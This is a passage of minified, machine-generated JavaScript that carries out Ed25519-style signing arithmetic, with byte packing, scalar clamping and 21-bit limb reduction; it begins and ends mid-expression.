D4(pt3, Ct3 = u5 + 224 | 0), mt3 = c4[(lt3 = i4) + 32 | 0] | c4[lt3 + 33 | 0] << 8 | c4[lt3 + 34 | 0] << 16 | c4[lt3 + 35 | 0] << 24, wt3 = c4[lt3 + 36 | 0] | c4[lt3 + 37 | 0] << 8 | c4[lt3 + 38 | 0] << 16 | c4[lt3 + 39 | 0] << 24, dt3 = c4[lt3 + 40 | 0] | c4[lt3 + 41 | 0] << 8 | c4[lt3 + 42 | 0] << 16 | c4[lt3 + 43 | 0] << 24, ut3 = c4[lt3 + 44 | 0] | c4[lt3 + 45 | 0] << 8 | c4[lt3 + 46 | 0] << 16 | c4[lt3 + 47 | 0] << 24, ft3 = c4[lt3 + 48 | 0] | c4[lt3 + 49 | 0] << 8 | c4[lt3 + 50 | 0] << 16 | c4[lt3 + 51 | 0] << 24, i4 = c4[lt3 + 52 | 0] | c4[lt3 + 53 | 0] << 8 | c4[lt3 + 54 | 0] << 16 | c4[lt3 + 55 | 0] << 24, It3 = c4[lt3 + 60 | 0] | c4[lt3 + 61 | 0] << 8 | c4[lt3 + 62 | 0] << 16 | c4[lt3 + 63 | 0] << 24, lt3 = c4[lt3 + 56 | 0] | c4[lt3 + 57 | 0] << 8 | c4[lt3 + 58 | 0] << 16 | c4[lt3 + 59 | 0] << 24, s4[t7 + 56 | 0] = lt3, s4[t7 + 57 | 0] = lt3 >>> 8, s4[t7 + 58 | 0] = lt3 >>> 16, s4[t7 + 59 | 0] = lt3 >>> 24, s4[t7 + 60 | 0] = It3, s4[t7 + 61 | 0] = It3 >>> 8, s4[t7 + 62 | 0] = It3 >>> 16, s4[t7 + 63 | 0] = It3 >>> 24, s4[t7 + 48 | 0] = ft3, s4[t7 + 49 | 0] = ft3 >>> 8, s4[t7 + 50 | 0] = ft3 >>> 16, s4[t7 + 51 | 0] = ft3 >>> 24, s4[t7 + 52 | 0] = i4, s4[t7 + 53 | 0] = i4 >>> 8, s4[t7 + 54 | 0] = i4 >>> 16, s4[t7 + 55 | 0] = i4 >>> 24, s4[t7 + 40 | 0] = dt3, s4[t7 + 41 | 0] = dt3 >>> 8, s4[t7 + 42 | 0] = dt3 >>> 16, s4[t7 + 43 | 0] = dt3 >>> 24, s4[t7 + 44 | 0] = ut3, s4[t7 + 45 | 0] = ut3 >>> 8, s4[t7 + 46 | 0] = ut3 >>> 16, s4[t7 + 47 | 0] = ut3 >>> 24, s4[0 | (i4 = t7 + 32 | 0)] = mt3, s4[i4 + 1 | 0] = mt3 >>> 8, s4[i4 + 2 | 0] = mt3 >>> 16, s4[i4 + 3 | 0] = mt3 >>> 24, s4[i4 + 4 | 0] = wt3, s4[i4 + 5 | 0] = wt3 >>> 8, s4[i4 + 6 | 0] = wt3 >>> 16, s4[i4 + 7 | 0] = wt3 >>> 24, E4(Ct3), H4(u5, Ct3), bt2(t7, u5), gt2(pt3), o5 && G4(pt3, 35136, 34, 0), G4(o5 = u5 + 352 | 0, t7, 64, 0), G4(o5, r11, n9, A8), D4(o5, yt3 = u5 + 160 | 0), E4(yt3), s4[u5 + 288 | 0] = 248 & c4[u5 + 288 | 0], s4[u5 + 319 | 0] = 63 & c4[u5 + 319 | 0] | 64, r11 = c4[23 + (t7 = g5 = u5 + 288 | 0) | 0], dt3 = Bt2(l5 = c4[t7 + 21 | 0] | c4[t7 + 22 | 0] << 8 | r11 << 16 & 2031616, 0, f5 = (c4[yt3 + 28 | 0] | c4[yt3 + 29 | 0] << 8 | c4[yt3 + 30 | 0] << 16 | c4[yt3 + 31 | 0] << 24) >>> 7 | 0, 0), ft3 = y4, r11 = (t7 = c4[yt3 + 27 | 0]) >>> 24 | 0, A8 = t7 << 8 | (ut3 = c4[yt3 + 23 | 0] | c4[yt3 + 24 | 0] << 8 | c4[yt3 + 25 | 0] << 16 | c4[yt3 + 26 | 0] << 24) >>> 24, t7 = Bt2(p5 = 2097151 & ((3 & (wt3 = (t7 = (n9 = c4[yt3 + 28 | 0]) >>> 16 | 0) | r11)) << 30 | (r11 = (n9 <<= 16) | A8) >>> 2), 0, d5 = (o5 = c4[g5 + 23 | 0] | c4[g5 + 24 | 0] << 8 | c4[g5 + 25 | 0] << 16 | c4[g5 + 26 | 0] << 24) >>> 5 & 2097151, 0), r11 = y4 + ft3 | 0, n9 = t7 >>> 0 > (A8 = t7 + dt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(C5 = (r11 = c4[yt3 + 23 | 0]) << 16 & 2031616 | c4[yt3 + 21 | 0] | c4[yt3 + 22 | 0] << 8, 0, m5 = (c4[g5 + 28 | 0] | c4[g5 + 29 | 0] << 8 | c4[g5 + 30 | 0] << 16 | c4[g5 + 31 | 0] << 24) >>> 7 | 0, 0), n9 = y4 + n9 | 0, ft3 = r11 = t7 + A8 | 0, A8 = t7 >>> 0 > r11 >>> 0 ? n9 + 1 | 0 : n9, n9 = (t7 = c4[g5 + 27 | 0]) >>> 24 | 0, o5 = t7 << 8 | o5 >>> 24, t7 = Bt2(B5 = 2097151 & ((3 & (n9 |= r11 = (t7 = c4[g5 + 28 | 0]) >>> 16 | 0)) << 30 | (r11 = (t7 <<= 16) | o5) >>> 2), 0, w5 = ut3 >>> 5 & 2097151, 0), r11 = y4 + A8 | 0, lt3 = n9 = t7 + ft3 | 0, A8 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, ut3 = Bt2(d5, 0, w5, 0), ft3 = y4, r11 = (t7 = c4[g5 + 19 | 0]) >>> 24 | 0, o5 = t7 << 8 | (St3 = c4[g5 + 15 | 0] | c4[g5 + 16 | 0] << 8 | c4[g5 + 17 | 0] << 16 | c4[g5 + 18 | 0] << 24) >>> 24, n9 = r11, r11 = Bt2(v5 = (7 & (n9 |= r11 = (t7 = c4[g5 + 20 | 0]) >>> 16 | 0)) << 29 | (r11 = (t7 <<= 16) | o5) >>> 3, wt3 = n9 >>> 3 | 0, f5, 0), t7 = y4 + ft3 | 0, t7 = r11 >>> 0 > (n9 = r11 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, o5 = (r11 = Bt2(l5, 0, p5, 0)) + n9 | 0, n9 = y4 + t7 | 0, r11 = r11 >>> 0 > (ut3 = o5) >>> 0 ? n9 + 1 | 0 : n9, n9 = (t7 = c4[yt3 + 19 | 0]) >>> 24 | 0, ft3 = t7 << 8 | (Dt3 = c4[yt3 + 15 | 0] | c4[yt3 + 16 | 0] << 8 | c4[yt3 + 17 | 0] << 16 | c4[yt3 + 18 | 0] << 24) >>> 24, t7 = Bt2(_5 = (7 & (dt3 = (t7 = (o5 = c4[yt3 + 20 | 0]) >>> 16 | 0) | n9)) << 29 | (n9 = (o5 <<= 16) | ft3) >>> 3, Q5 = dt3 >>> 3 | 0, m5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(C5, 0, B5, 0), r11 = y4 + r11 | 0, mt3 = r11 = t7 >>> 0 > (Ct3 = t7 + n9 | 0) >>> 0 ? r11 + 1 | 0 : r11, vt3 = t7 = r11 - ((Ct3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (r11 = t7 >>> 21 | 0) + A8 | 0, ut3 = n9 = (t7 = (2097151 & t7) << 11 | (dt3 = Ct3 - -1048576 | 0) >>> 21) >>> 0 > (lt3 = t7 + lt3 | 0) >>> 0 ? n9 + 1 | 0 : n9, Qt3 = t7 = n9 - ((lt3 >>> 0 < 4293918720) - 1 | 0) | 0, It3 = (2097151 & t7) << 11 | (ft3 = lt3 - -1048576 | 0) >>> 21, o5 = t7 >>> 21 | 0, t7 = Bt2(m5, 0, w5, 0), r11 = y4, n9 = t7, t7 = Bt2(f5, 0, d5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, _t3 = (t7 = n9) + (n9 = Bt2(p5, 0, B5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > _t3 >>> 0 ? t7 + 1 | 0 : t7, pt3 = _t3 - (r11 = -2097152 & (n9 = _t3 - -1048576 | 0)) | 0, r11 = (t7 - ((131071 & (A8 = t7 - ((_t3 >>> 0 < 4293918720) - 1 | 0) | 0)) + (r11 >>> 0 > _t3 >>> 0) | 0) | 0) + o5 | 0, K5 = r11 = (t7 = pt3 + It3 | 0) >>> 0 < pt3 >>> 0 ? r11 + 1 | 0 : r11, J5 = t7, pt3 = Bt2(t7, r11, 470296, 0), It3 = y4, r11 = Bt2(f5, 0, B5, 0), t7 = y4, o5 = r11, r11 = Bt2(p5, 0, m5, 0), t7 = y4 + t7 | 0, r11 = r11 >>> 0 > (o5 = o5 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, t7 = A8 >>> 21 | 0, A8 = (2097151 & A8) << 11 | n9 >>> 21, n9 = t7 + r11 | 0, Pt3 = A8 = (n9 = A8 >>> 0 > (o5 = A8 + o5 | 0) >>> 0 ? n9 + 1 | 0 : n9) - ((o5 >>> 0 < 4293918720) - 1 | 0) | 0, t7 = o5 - (r11 = -2097152 & (Ft3 = o5 - -1048576 | 0)) | 0, j5 = o5 = n9 - ((131071 & A8) + (r11 >>> 0 > o5 >>> 0) | 0) | 0, z4 = r11 = lt3 - (n9 = -2097152 & ft3) | 0, q4 = A8 = ut3 - ((n9 >>> 0 > lt3 >>> 0) + Qt3 | 0) | 0, X3 = t7, n9 = Bt2(t7, o5, 666643, 0), t7 = y4 + It3 | 0, t7 = n9 >>> 0 > (o5 = n9 + pt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(r11, A8, 654183, 0), r11 = y4 + t7 | 0, Et3 = A8 = n9 + o5 | 0, ft3 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, _t3 = Ct3 - (t7 = -2097152 & dt3) | 0, vt3 = mt3 - ((t7 >>> 0 > Ct3 >>> 0) + vt3 | 0) | 0, r11 = Bt2(p5, 0, v5, wt3), n9 = y4, A8 = (t7 = r11) + (r11 = Bt2(b5 = St3 >>> 6 & 2097151, 0, f5, 0)) | 0, t7 = y4 + n9 | 0, t7 = r11 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(d5, 0, C5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (A8 = r11 + A8 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(l5, 0, w5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(m5, 0, k5 = Dt3 >>> 6 & 2097151, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(B5, 0, _5, Q5), r11 = y4 + t7 | 0, Ct3 = A8 = n9 + A8 | 0, o5 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, r11 = (t7 = c4[g5 + 14 | 0]) >>> 24 | 0, A8 = t7 << 8 | (mt3 = c4[g5 + 10 | 0] | c4[g5 + 11 | 0] << 8 | c4[g5 + 12 | 0] << 16 | c4[g5 + 13 | 0] << 24) >>> 24, r11 = Bt2(S5 = 2097151 & ((1 & (r11 |= t7 = (n9 = c4[g5 + 15 | 0]) >>> 16 | 0)) << 31 | (t7 = (n9 <<= 16) | A8) >>> 1), 0, f5, 0), t7 = y4, n9 = r11, r11 = Bt2(p5, 0, b5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(w5, 0, v5, wt3)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(d5, 0, _5, Q5), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(l5, 0, C5, 0), r11 = y4 + r11 | 0, dt3 = n9 = t7 + A8 | 0, A8 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, r11 = (t7 = c4[yt3 + 14 | 0]) >>> 24 | 0, ut3 = t7 << 8 | (lt3 = c4[yt3 + 10 | 0] | c4[yt3 + 11 | 0] << 8 | c4[yt3 + 12 | 0] << 16 | c4[yt3 + 13 | 0] << 24) >>> 24, n9 = r11, r11 = (t7 = c4[yt3 + 15 | 0]) >>> 16 | 0, r11 = Bt2(N6 = 2097151 & ((1 & (r11 |= n9)) << 31 | (t7 = t7 << 16 | ut3) >>> 1), 0, m5, 0), t7 = y4 + A8 | 0, t7 = r11 >>> 0 > (n9 = r11 + dt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(B5, 0, k5, 0), t7 = y4 + t7 | 0, ut3 = t7 = r11 >>> 0 > (dt3 = r11 + n9 | 0) >>> 0 ? t7 + 1 | 0 : t7, Tt3 = r11 = t7 - ((dt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (t7 = r11 >>> 21 | 0) + o5 | 0, It3 = n9 = (r11 = (2097151 & r11) << 11 | (pt3 = dt3 - -1048576 | 0) >>> 21) >>> 0 > (Qt3 = r11 + Ct3 | 0) >>> 0 ? n9 + 1 | 0 : n9, Mt3 = r11 = n9 - ((Qt3 >>> 0 < 4293918720) - 1 | 0) | 0, t7 = (t7 = r11 >>> 21 | 0) + vt3 | 0, V3 = t7 = (r11 = (n9 = (2097151 & r11) << 11 | (Ct3 = Qt3 - -1048576 | 0) >>> 21) + _t3 | 0) >>> 0 < n9 >>> 0 ? t7 + 1 | 0 : t7, W3 = r11, t7 = Bt2(r11, t7, -997805, -1), r11 = y4 + ft3 | 0, Et3 = n9 = t7 + Et3 | 0, ft3 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, _t3 = (Gt3 = c4[23 + (h5 = u5 + 224 | 0) | 0] | c4[h5 + 24 | 0] << 8 | c4[h5 + 25 | 0] << 16 | c4[h5 + 26 | 0] << 24) >>> 5 & 2097151, n9 = Bt2(M5 = (t7 = c4[g5 + 2 | 0]) << 16 & 2031616 | c4[0 | g5] | c4[g5 + 1 | 0] << 8, 0, w5, 0), r11 = y4, A8 = (t7 = Bt2(C5, 0, x5 = (o5 = c4[g5 + 2 | 0] | c4[g5 + 3 | 0] << 8 | c4[g5 + 4 | 0] << 16 | c4[g5 + 5 | 0] << 24) >>> 5 & 2097151, 0)) + n9 | 0, n9 = y4 + r11 | 0, n9 = t7 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(F5 = (c4[g5 + 7 | 0] | c4[g5 + 8 | 0] << 8 | c4[g5 + 9 | 0] << 16 | c4[g5 + 10 | 0] << 24) >>> 7 & 2097151, 0, k5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(N6, 0, P5 = mt3 >>> 4 & 2097151, 0), t7 = y4 + r11 | 0, mt3 = A8 = n9 + A8 | 0, A8 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, o5 = (r11 = c4[g5 + 6 | 0]) << 8 | o5 >>> 24, n9 = t7 = r11 >>> 24 | 0, r11 = (t7 = c4[g5 + 7 | 0]) >>> 16 | 0, r11 = Bt2(T3 = 2097151 & ((3 & (r11 |= n9)) << 30 | (t7 = t7 << 16 | o5) >>> 2), 0, _5, Q5), t7 = y4 + A8 | 0, t7 = r11 >>> 0 > (n9 = r11 + mt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(b5, 0, R5 = (c4[yt3 + 7 | 0] | c4[yt3 + 8 | 0] << 8 | c4[yt3 + 9 | 0] << 16 | c4[yt3 + 10 | 0] << 24) >>> 7 & 2097151, 0)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(S5, 0, xt3 = lt3 >>> 4 & 2097151, 0), t7 = y4 + n9 | 0, o5 = r11 >>> 0 > (A8 = r11 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, t7 = (r11 = c4[yt3 + 6 | 0]) >>> 24 | 0, mt3 = r11 << 8 | (lt3 = c4[yt3 + 2 | 0] | c4[yt3 + 3 | 0] << 8 | c4[yt3 + 4 | 0] << 16 | c4[yt3 + 5 | 0] << 24) >>> 24, r11 = t7, t7 = Bt2(v5, wt3, U5 = 2097151 & ((3 & (r11 |= n9 = (t7 = c4[yt3 + 7 | 0]) >>> 16 | 0)) << 30 | (t7 = t7 << 16 | mt3) >>> 2), 0), r11 = y4 + o5 | 0, r11 = t7 >>> 0 > (n9 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = n9, n9 = Bt2(L5 = (t7 = c4[yt3 + 2 | 0]) << 16 & 2031616 | c4[0 | yt3] | c4[yt3 + 1 | 0] << 8, 0, d5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = A8 + n9 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(l5, 0, O5 = lt3 >>> 5 & 2097151, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = n9, mt3 = n9 = n9 + _t3 | 0, o5 = r11 = r11 >>> 0 > n9 >>> 0 ? t7 + 1 | 0 : t7, A8 = c4[h5 + 21 | 0] | c4[h5 + 22 | 0] << 8, t7 = Bt2(C5, 0, M5, 0), r11 = y4, lt3 = (n9 = t7) + (t7 = Bt2(_5, Q5, x5, 0)) | 0, n9 = y4 + r11 | 0, n9 = t7 >>> 0 > lt3 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(N6, 0, F5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (lt3 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(P5, 0, xt3, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, lt3 = (t7 = n9) + (n9 = Bt2(k5, 0, T3, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > lt3 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(b5, 0, U5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + lt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, lt3 = (r11 = Bt2(S5, 0, R5, 0)) + n9 | 0, n9 = y4 + t7 | 0, n9 = r11 >>> 0 > lt3 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(v5, wt3, O5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (lt3 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(l5, 0, L5, 0), r11 = y4 + r11 | 0, t7 = t7 >>> 0 > (n9 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, r11 = (r11 = n9) >>> 0 > (n9 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = n9, n9 = (t7 = c4[h5 + 23 | 0]) << 16 & 2031616, t7 = r11, n9 = t7 = n9 >>> 0 > (A8 = A8 + n9 | 0) >>> 0 ? t7 + 1 | 0 : t7, yt3 = t7 = t7 - ((A8 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (r11 = t7 >>> 21 | 0) + o5 | 0, t7 = (r11 = (o5 = mt3 = (t7 = (2097151 & t7) << 11 | (lt3 = A8 - -1048576 | 0) >>> 21) + mt3 | 0) >>> 0 < t7 >>> 0 ? r11 + 1 | 0 : r11) + ft3 | 0, t7 = (ft3 = o5 + Et3 | 0) >>> 0 < o5 >>> 0 ? t7 + 1 | 0 : t7, St3 = o5 - -1048576 | 0, kt3 = o5 = r11 - ((o5 >>> 0 < 4293918720) - 1 | 0) | 0, Nt3 = ft3 - (r11 = -2097152 & St3) | 0, Rt3 = t7 - ((r11 >>> 0 > ft3 >>> 0) + o5 | 0) | 0, mt3 = A8, ft3 = n9, t7 = Bt2(z4, q4, 470296, 0), r11 = y4, n9 = t7, t7 = Bt2(J5, K5, 666643, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = (t7 = n9) + (n9 = Bt2(W3, V3, 654183, 0)) | 0, t7 = y4 + r11 | 0, Dt3 = A8, o5 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(_5, Q5, M5, 0), t7 = y4, n9 = r11, r11 = Bt2(k5, 0, x5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = n9) + (n9 = Bt2(F5, 0, xt3, 0)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(P5, 0, R5, 0), n9 = y4 + r11 | 0, n9 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(N6, 0, T3, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (A8 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(b5, 0, O5, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (A8 = n9 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(S5, 0, U5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = n9) + (n9 = Bt2(v5, wt3, L5, 0)) | 0, r11 = y4 + t7 | 0, _t3 = A8, n9 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, r11 = (t7 = c4[h5 + 19 | 0]) >>> 24 | 0, vt3 = t7 << 8 | (Et3 = c4[h5 + 15 | 0] | c4[h5 + 16 | 0] << 8 | c4[h5 + 17 | 0] << 16 | c4[h5 + 18 | 0] << 24) >>> 24, n9 = ((Ut3 = (t7 = (A8 = c4[h5 + 20 | 0]) >>> 16 | 0) | r11) >>> 3 | 0) + n9 | 0, _t3 = A8 = (r11 = (7 & Ut3) << 29 | (r11 = (A8 <<= 16) | vt3) >>> 3) + _t3 | 0, A8 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, vt3 = Et3 >>> 6 & 2097151, t7 = Bt2(k5, 0, M5, 0), r11 = y4, n9 = t7, t7 = Bt2(N6, 0, x5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, Et3 = (t7 = n9) + (n9 = Bt2(F5, 0, R5, 0)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > Et3 >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(P5, 0, U5, 0), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (Et3 = n9 + Et3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(T3, 0, xt3, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (Et3 = n9 + Et3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(b5, 0, L5, 0), n9 = y4 + t7 | 0, n9 = r11 >>> 0 > (Et3 = r11 + Et3 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(S5, 0, O5, 0), r11 = y4 + n9 | 0, t7 = t7 >>> 0 > (Et3 = t7 + Et3 | 0) >>> 0 ? r11 + 1 | 0 : r11, qt3 = t7 = (Lt3 = Et3 + vt3 | 0) >>> 0 < Et3 >>> 0 ? t7 + 1 | 0 : t7, ee3 = t7 = t7 - ((Lt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (jt3 = Lt3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + A8 | 0, Vt3 = t7 = n9 >>> 0 > (Xt3 = n9 + _t3 | 0) >>> 0 ? t7 + 1 | 0 : t7, re3 = t7 = t7 - ((Xt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (Yt3 = Xt3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + o5 | 0, r11 = (n9 >>> 0 > (A8 = n9 + Dt3 | 0) >>> 0 ? t7 + 1 | 0 : t7) + ft3 | 0, ft3 = (n9 = A8 + mt3 | 0) - (t7 = -2097152 & lt3) | 0, yt3 = t7 = (r11 = n9 >>> 0 < A8 >>> 0 ? r11 + 1 | 0 : r11) - ((t7 >>> 0 > n9 >>> 0) + yt3 | 0) | 0, ne3 = t7 = t7 - ((ft3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (Kt3 = ft3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Rt3 | 0, A8 = t7 = n9 >>> 0 > (o5 = n9 + Nt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, te3 = t7 = t7 - ((o5 >>> 0 < 4293918720) - 1 | 0) | 0, Jt3 = (2097151 & t7) << 11 | (Dt3 = o5 - -1048576 | 0) >>> 21, mt3 = t7 >> 21, Ut3 = Qt3 - (t7 = -2097152 & Ct3) | 0, Mt3 = It3 - ((t7 >>> 0 > Qt3 >>> 0) + Mt3 | 0) | 0, t7 = Bt2(f5, 0, m5, 0), zt3 = r11 = y4, Nt3 = t7, Et3 = t7 - -1048576 | 0, Ot3 = r11 = r11 - ((t7 >>> 0 < 4293918720) - 1 | 0) | 0, Z3 = t7 = r11 >>> 21 | 0, t7 = Bt2(Y5 = (2097151 & r11) << 11 | Et3 >>> 21, t7, -683901, -1), r11 = y4 + ut3 | 0, r11 = t7 >>> 0 > (n9 = t7 + dt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Ct3 = n9 - (t7 = -2097152 & pt3) | 0, lt3 = r11 - ((t7 >>> 0 > n9 >>> 0) + Tt3 | 0) | 0, r11 = Bt2(w5, 0, b5, 0), t7 = y4, n9 = r11, r11 = Bt2(f5, 0, P5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(p5, 0, S5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + n9 | 0) >>> 0 ? t7 + 1 | 0 : t7, ut3 = (r11 = n9) + (n9 = Bt2(C5, 0, v5, wt3)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > ut3 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(d5, 0, k5, 0), n9 = y4 + r11 | 0, n9 = t7 >>> 0 > (ut3 = t7 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(l5, 0, _5, Q5), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (ut3 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(m5, 0, xt3, 0), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(B5, 0, N6, 0), t7 = y4 + t7 | 0, dt3 = n9 = r11 + ut3 | 0, ut3 = r11 >>> 0 > n9 >>> 0 ? t7 + 1 | 0 : t7, t7 = Bt2(p5, 0, P5, 0), r11 = y4, n9 = t7, t7 = Bt2(f5, 0, F5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, It3 = (t7 = Bt2(C5, 0, b5, 0)) + n9 | 0, n9 = y4 + r11 | 0, n9 = t7 >>> 0 > It3 >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(w5, 0, S5, 0), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (It3 = t7 + It3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(v5, wt3, _5, Q5), t7 = y4 + r11 | 0, t7 = n9 >>> 0 > (It3 = n9 + It3 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(d5, 0, N6, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + It3 | 0) >>> 0 ? t7 + 1 | 0 : t7, It3 = (r11 = n9) + (n9 = Bt2(l5, 0, k5, 0)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > It3 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(m5, 0, R5, 0), n9 = y4 + r11 | 0, n9 = t7 >>> 0 > (It3 = t7 + It3 | 0) >>> 0 ? n9 + 1 | 0 : n9, t7 = Bt2(B5, 0, xt3, 0), r11 = y4 + n9 | 0, vt3 = r11 = t7 >>> 0 > (_t3 = t7 + It3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Zt3 = t7 = r11 - ((_t3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (2097151 & t7) << 11 | (Qt3 = _t3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + ut3 | 0, pt3 = t7 = r11 >>> 0 > (Tt3 = r11 + dt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Ht3 = t7 = t7 - ((Tt3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = (n9 = t7 >>> 21 | 0) + lt3 | 0, Ct3 = 